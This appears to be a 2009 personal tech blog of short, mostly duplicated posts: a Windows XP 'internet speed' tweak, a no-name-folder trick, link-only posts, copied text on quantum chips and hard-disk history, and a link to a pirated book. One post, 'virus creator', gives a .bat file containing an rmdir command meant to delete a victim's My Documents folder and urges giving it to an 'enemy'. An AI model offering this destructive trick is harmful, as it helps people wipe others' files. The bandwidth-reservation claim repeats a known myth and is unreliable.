if u want any song lyrics just ask me
i will arrange on next day
Saturday, October 17, 2009
how to increase internet speed
many of u hav some problem with internet speed
.................................................................
How to Increase internet browsing speed ?
increase Internet & Download speed
In order to fix this follow these easy steps:
1. Click on Start -->Run ---> gpedit.msc
2. On the window that will show up, Click on
Administrative Templates
Network
QoS Packet Scheduler
3. On the right side pane, Double click Limit Reservable bandwidthChange this configuration from “not configured” to “Enabled”and the reduce Bandwidth limit (%) from 20% to zero
4. Click on Ok and restart your computer.
It seems that Windows XP reserves 20% of the available bandwidtheven if this option is not configured and even if you don’t useQoS (Quality of Service) feature (which is disabled by default).
How to Increase internet browsing speed ?
.................................................................
How to Increase internet browsing speed ?
increase Internet & Download speed
In order to fix this follow these easy steps:
1. Click on Start -->Run ---> gpedit.msc
2. On the window that will show up, Click on
Administrative Templates
Network
QoS Packet Scheduler
3. On the right side pane, Double click Limit Reservable bandwidthChange this configuration from “not configured” to “Enabled”and the reduce Bandwidth limit (%) from 20% to zero
4. Click on Ok and restart your computer.
It seems that Windows XP reserves 20% of the available bandwidtheven if this option is not configured and even if you don’t useQoS (Quality of Service) feature (which is disabled by default).
How to Increase internet browsing speed ?
virus creator
hello people
i think u heard about the virus
but if u want to create &
HERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.
HERE'S WHAT U SHOULD DO.
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT rmdir C:\Documents and Settings \S\Q.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.
I MEAN SAVE IT LIKE MYVIRUS.BAT. IT SHOULD HAVE THE ENDING AS .BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER
WILL BE DELETED.
i think u heard about the virus
but if u want to create &
HERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.
HERE'S WHAT U SHOULD DO.
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT rmdir C:\Documents and Settings \S\Q.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.
I MEAN SAVE IT LIKE MYVIRUS.BAT. IT SHOULD HAVE THE ENDING AS .BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER
WILL BE DELETED.
create folder with out name
hello people
u have some problems to put name for some folders
so
if u want to know how to put a folder with out name
follow the below instructions
CREATE A FOLDER WITH OUT NAME
> click on folder
>press F2
Now Holding ALT key
>press 9 frm numeric keypad eight times
>press Enter.
then enjoy the folder with out name
u have some problems to put name for some folders
so
if u want to know how to put a folder with out name
follow the below instructions
CREATE A FOLDER WITH OUT NAME
> click on folder
>press F2
Now Holding ALT key
>press 9 frm numeric keypad eight times
>press Enter.
then enjoy the folder with out name
for unknown number enquiry
u r trouble with some unknown people
if u like to know about the number of that unknown people
u can click on the above name
if u like to know about the number of that unknown people
u can click on the above name
history of virus
we heard about the virus
but we dont know the history of virus
so let know about the virus
click on dis link will go to "the history of virus "
but we dont know the history of virus
so let know about the virus
click on dis link will go to "the history of virus "
quantum computers
QUANTUM COMPUTERS
http://i39.tinypic.com/34xm55h.jpg :wub: Quantum computers for the rest of us, with their promise of incredible speed and power, may be closer now with the success of a new, prototype chip. Nobody understands quantum mechanics, it has been said with some authority, but that doesn't mean it can't be exploited. And now it looks like it might be and sooner than later. The new chip can be built using existing technology and it will employ a method of computing, called adiabatic, that will greatly simplify the design. http://i43.tinypic.com/34pf5zl.jpg A prototype chip has shown that it can handle 128 qubits of information. (A bit holds information as "on" or "off," a 0 or a 1. A qubit can hold three values—0, 1, or a combination of both.) Even the uninitiated can understand the possibilities in that. :yes4: please leave ur comments abt my posts :yes4: :dance3:
data storage history in hard disk
http://lh3.ggpht.com/bigyan.techie/SDK_UsU20tI/AAAAAAAABBM/PyW-XddOgSg/image[21].png Do anyone know what is the above computer device well its the 1GB Hard disk which was made in the late 80's it is huge one well we will come to the point of hard disk and their history A hard disk drive (HDD), commonly referred to as a hard drive, hard disk, or fixed disk drive, is a non-volatile storage device which stores digitally encoded data on rapidly rotating platters with magnetic surfaces. Strictly speaking, "drive" refers to a device distinct from its medium, such as a tape drive and its tape, or a floppy disk drive and its floppy disk. Early HDDs had removable media; however, an HDD today is typically a sealed unit (except for a filtered vent hole to equalize air pressure) with fixed media. HDDs (introduced in 1956 as data storage for an IBM accounting computer) were originally developed for use with general purpose computers. In the 21st century, applications for HDDs have expanded to include digital video recorders, digital audio players, personal digital assistants, digital cameras and video game consoles. In 2005 the first mobile phones to include HDDs were introduced by Samsung and Nokia. The need for large-scale, reliable storage, independent of a particular device, led to the introduction of embedded systems such as RAID arrays, network attached storage (NAS) systems and storage area network (SAN) systems that provide efficient and reliable access to large volumes of data. HDDs record data by magnetizing ferromagnetic material directionally, to represent either a 0 or a 1 binary digit. They read the data back by detecting the magnetization of the material. A typical HDD design consists of a spindle which holds one or more flat circular disks called platters, onto which the data are recorded. The platters are made from a non-magnetic material, usually aluminum alloy or glass, and are coated with a thin layer of magnetic material. Older disks used iron(III) oxide as the magnetic material, but current disks use a cobalt-based alloy. http://upload.wikimedia.org/wikipedia/en/f/f4/MagneticMedia.png The platters are spun at very high speeds. Information is written to a platter as it rotates past devices called read-and-write heads that operate very close (tens of nanometers in new drives) over the magnetic surface. The read-and-write head is used to detect and modify the magnetization of the material immediately under it. There is one head for each magnetic platter surface on the spindle, mounted on a common arm. An actuator arm (or access arm) moves the heads on an arc (roughly radially) across the platters as they spin, allowing each head to access almost the entire surface of the platter as it spins. The arm is moved using a voice coil actuator or (in older designs) a stepper motor. Stepper motors were outside the head-disk chamber, and preceded voice-coil drives. The latter, for a while, had a structure similar to that of a loudspeaker; the coil and heads moved in a straight line, along a radius of the platters. The present-day structure differs in several respects from that of the earlier voice-coil drives, but the same interaction between the coil and magnetic field still applies, and the term is still used. Older drives read the data on the platter by sensing the rate of change of the magnetism in the head; these heads had small coils, and worked (in principle) much like magnetic-tape playback heads, although not in contact with the recording surface. As data density increased, read heads using magnetoresistance (MR) came into use; the electrical resistance of the head changed according to the strength of the magnetism from the platter. Later development made use of spintronics; in these heads, the magnetoresistive effect was much greater that in earlier types, and was dubbed "giant" magnetoresistance (GMR). This refers to the degree of effect, not the physical size, of the head � the heads themselves are extremely tiny, and are too small to be seen without a microscope. GMR read heads are now commonplace. HD heads are kept from contacting the platter surface by the air that is extremely close to the platter; that air moves at, or close to, the platter speed.[citation needed] The record and playback head are mounted on a block called a slider, and the surface next to the platter is shaped to keep it just barely out of contact. It's a type of air bearing. The magnetic surface of each platter is conceptually divided into many small sub-micrometre-sized magnetic regions, each of which is used to encode a single binary unit of information. In today's HDDs, each of these magnetic regions is composed of a few hundred magnetic grains. Each magnetic region forms a magnetic dipole which generates a highly localized magnetic field nearby. The write head magnetizes a region by generating a strong local magnetic field. Early HDDs used an electromagnet both to generate this field and to read the data by using electromagnetic induction. Later versions of inductive heads included metal in Gap (MIG) heads and thin film heads. In today's heads, the read and write elements are separate, but in close proximity, on the head portion of an actuator arm. The read element is typically magneto-resistive while the write element is typically thin-film inductive. In modern drives, the small size of the magnetic regions creates the danger that their magnetic state might be lost because of thermal effects. To counter this, the platters are coated with two parallel magnetic layers, separated by a 3-atom-thick layer of the non-magnetic element ruthenium, and the two layers are magnetized in opposite orientation, thus reinforcing each other. Another technology used to overcome thermal effects to allow greater recording densities is perpendicular recording, first shipped in 2005, as of 2007 the technology was used in many HDDs. The motor has an external rotor; the stator windings are copper-colored. The spindle bearing is in the center. To the left of center is the actuator with a read-write head under the tip of its very end (near center); the orange stripe along the side of the arm, a thin printed-circuit cable, connects the read-write head to the hub of the actuator. The flexible, somewhat 'U'-shaped, ribbon cable barely visible below and to the left of the actuator arm is the flexible section, one end on the hub, that continues the connection from the head to the controller board on the opposite side. The head support arm is very light, but also rigid; in modern drives, acceleration at the head reaches 250 gs. The silver-colored structure at the upper left is the top plate of the permanent-magnet and moving coil "motor" that swings the heads to the desired position. Beneath this plate is the moving coil, attached to the actuator hub, and beneath that is a thin neodymium-iron-boron (NIB) high-flux magnet. That magnet is mounted on the bottom plate of the "motor". The coil, itself, is shaped rather like an arrowhead, and made of doubly-coated copper magnet wire. The inner layer is insulation, and the outer is thermoplastic, which bonds the coil together after it's wound on a form, making it self-supporting. Much of the coil, sides of the arrowhead, which points to the actuator bearing center, interacts with the magnetic field to develop a tangential force to rotate the actuator. Considering that current flows (at a given time) radially outward along one side of the arrowhead, and radially inward on the other, the surface of the magnet is half N pole, half S pole; the dividing line is midway, and radial. Capacity of a hard disk drive is usually quoted in gigabytes and terabytes. Older HDDs quoted their smaller capacities in megabytes, some of the first drives for PCs being just 5 or 10 MB. New HDD have capacities of 1TB . Down one TB HDD Photo http://www.trustedreviews.com/images/article/inline/6267-IMG9943s.jpg
http://i39.tinypic.com/34xm55h.jpg :wub: Quantum computers for the rest of us, with their promise of incredible speed and power, may be closer now with the success of a new, prototype chip. Nobody understands quantum mechanics, it has been said with some authority, but that doesn't mean it can't be exploited. And now it looks like it might be and sooner than later. The new chip can be built using existing technology and it will employ a method of computing, called adiabatic, that will greatly simplify the design. http://i43.tinypic.com/34pf5zl.jpg A prototype chip has shown that it can handle 128 qubits of information. (A bit holds information as "on" or "off," a 0 or a 1. A qubit can hold three values—0, 1, or a combination of both.) Even the uninitiated can understand the possibilities in that. :yes4: please leave ur comments abt my posts :yes4: :dance3:
data storage history in hard disk
http://lh3.ggpht.com/bigyan.techie/SDK_UsU20tI/AAAAAAAABBM/PyW-XddOgSg/image[21].png Do anyone know what is the above computer device well its the 1GB Hard disk which was made in the late 80's it is huge one well we will come to the point of hard disk and their history A hard disk drive (HDD), commonly referred to as a hard drive, hard disk, or fixed disk drive, is a non-volatile storage device which stores digitally encoded data on rapidly rotating platters with magnetic surfaces. Strictly speaking, "drive" refers to a device distinct from its medium, such as a tape drive and its tape, or a floppy disk drive and its floppy disk. Early HDDs had removable media; however, an HDD today is typically a sealed unit (except for a filtered vent hole to equalize air pressure) with fixed media. HDDs (introduced in 1956 as data storage for an IBM accounting computer) were originally developed for use with general purpose computers. In the 21st century, applications for HDDs have expanded to include digital video recorders, digital audio players, personal digital assistants, digital cameras and video game consoles. In 2005 the first mobile phones to include HDDs were introduced by Samsung and Nokia. The need for large-scale, reliable storage, independent of a particular device, led to the introduction of embedded systems such as RAID arrays, network attached storage (NAS) systems and storage area network (SAN) systems that provide efficient and reliable access to large volumes of data. HDDs record data by magnetizing ferromagnetic material directionally, to represent either a 0 or a 1 binary digit. They read the data back by detecting the magnetization of the material. A typical HDD design consists of a spindle which holds one or more flat circular disks called platters, onto which the data are recorded. The platters are made from a non-magnetic material, usually aluminum alloy or glass, and are coated with a thin layer of magnetic material. Older disks used iron(III) oxide as the magnetic material, but current disks use a cobalt-based alloy. http://upload.wikimedia.org/wikipedia/en/f/f4/MagneticMedia.png The platters are spun at very high speeds. Information is written to a platter as it rotates past devices called read-and-write heads that operate very close (tens of nanometers in new drives) over the magnetic surface. The read-and-write head is used to detect and modify the magnetization of the material immediately under it. There is one head for each magnetic platter surface on the spindle, mounted on a common arm. An actuator arm (or access arm) moves the heads on an arc (roughly radially) across the platters as they spin, allowing each head to access almost the entire surface of the platter as it spins. The arm is moved using a voice coil actuator or (in older designs) a stepper motor. Stepper motors were outside the head-disk chamber, and preceded voice-coil drives. The latter, for a while, had a structure similar to that of a loudspeaker; the coil and heads moved in a straight line, along a radius of the platters. The present-day structure differs in several respects from that of the earlier voice-coil drives, but the same interaction between the coil and magnetic field still applies, and the term is still used. Older drives read the data on the platter by sensing the rate of change of the magnetism in the head; these heads had small coils, and worked (in principle) much like magnetic-tape playback heads, although not in contact with the recording surface. As data density increased, read heads using magnetoresistance (MR) came into use; the electrical resistance of the head changed according to the strength of the magnetism from the platter. Later development made use of spintronics; in these heads, the magnetoresistive effect was much greater that in earlier types, and was dubbed "giant" magnetoresistance (GMR). This refers to the degree of effect, not the physical size, of the head � the heads themselves are extremely tiny, and are too small to be seen without a microscope. GMR read heads are now commonplace. HD heads are kept from contacting the platter surface by the air that is extremely close to the platter; that air moves at, or close to, the platter speed.[citation needed] The record and playback head are mounted on a block called a slider, and the surface next to the platter is shaped to keep it just barely out of contact. It's a type of air bearing. The magnetic surface of each platter is conceptually divided into many small sub-micrometre-sized magnetic regions, each of which is used to encode a single binary unit of information. In today's HDDs, each of these magnetic regions is composed of a few hundred magnetic grains. Each magnetic region forms a magnetic dipole which generates a highly localized magnetic field nearby. The write head magnetizes a region by generating a strong local magnetic field. Early HDDs used an electromagnet both to generate this field and to read the data by using electromagnetic induction. Later versions of inductive heads included metal in Gap (MIG) heads and thin film heads. In today's heads, the read and write elements are separate, but in close proximity, on the head portion of an actuator arm. The read element is typically magneto-resistive while the write element is typically thin-film inductive. In modern drives, the small size of the magnetic regions creates the danger that their magnetic state might be lost because of thermal effects. To counter this, the platters are coated with two parallel magnetic layers, separated by a 3-atom-thick layer of the non-magnetic element ruthenium, and the two layers are magnetized in opposite orientation, thus reinforcing each other. Another technology used to overcome thermal effects to allow greater recording densities is perpendicular recording, first shipped in 2005, as of 2007 the technology was used in many HDDs. The motor has an external rotor; the stator windings are copper-colored. The spindle bearing is in the center. To the left of center is the actuator with a read-write head under the tip of its very end (near center); the orange stripe along the side of the arm, a thin printed-circuit cable, connects the read-write head to the hub of the actuator. The flexible, somewhat 'U'-shaped, ribbon cable barely visible below and to the left of the actuator arm is the flexible section, one end on the hub, that continues the connection from the head to the controller board on the opposite side. The head support arm is very light, but also rigid; in modern drives, acceleration at the head reaches 250 gs. The silver-colored structure at the upper left is the top plate of the permanent-magnet and moving coil "motor" that swings the heads to the desired position. Beneath this plate is the moving coil, attached to the actuator hub, and beneath that is a thin neodymium-iron-boron (NIB) high-flux magnet. That magnet is mounted on the bottom plate of the "motor". The coil, itself, is shaped rather like an arrowhead, and made of doubly-coated copper magnet wire. The inner layer is insulation, and the outer is thermoplastic, which bonds the coil together after it's wound on a form, making it self-supporting. Much of the coil, sides of the arrowhead, which points to the actuator bearing center, interacts with the magnetic field to develop a tangential force to rotate the actuator. Considering that current flows (at a given time) radially outward along one side of the arrowhead, and radially inward on the other, the surface of the magnet is half N pole, half S pole; the dividing line is midway, and radial. Capacity of a hard disk drive is usually quoted in gigabytes and terabytes. Older HDDs quoted their smaller capacities in megabytes, some of the first drives for PCs being just 5 or 10 MB. New HDD have capacities of 1TB . Down one TB HDD Photo http://www.trustedreviews.com/images/article/inline/6267-IMG9943s.jpg
broadband technology
we know broadband
but we dont know about the technology of broadband
so let know the technology of broadband
and click on the above link enjoy,............
but we dont know about the technology of broadband
so let know the technology of broadband
and click on the above link enjoy,............
bluetooth technology
we know about the bluetooth
but we dont know about the technology of bluetooth
so lets know about the technology
click on above link .....enjoyyyyyyyy
.
but we dont know about the technology of bluetooth
so lets know about the technology
click on above link .....enjoyyyyyyyy
.
touch screen technology
u people every time use the touch screen technology
but i think u dont hav enough information about thats great technology
so know about that as a student
click on the above name
enjoyyyyyyyyy
but i think u dont hav enough information about thats great technology
so know about that as a student
click on the above name
enjoyyyyyyyyy
cell communmication
cell communication
to know about the cell communication just visit on dis site
to visit site click on the above link
to know about the cell communication just visit on dis site
to visit site click on the above link
bmw manfacturing
bmw manfacturing
u can watch the manfacturing of bmw in dis link
click on he above name and
enjoy the manfacturing of bmw
u can watch the manfacturing of bmw in dis link
click on he above name and
enjoy the manfacturing of bmw
LAN switching technology
complete guide to LAN switching technology
http://rapidshare.com/files/230436340/Wiley.The.All.New.Switch.Book.The.Complete.Guide.to.LAN.Switching.Technology.Aug
.2008.pdf
http://rapidshare.com/files/230436340/Wiley.The.All.New.Switch.Book.The.Complete.Guide.to.LAN.Switching.Technology.Aug
.2008.pdf
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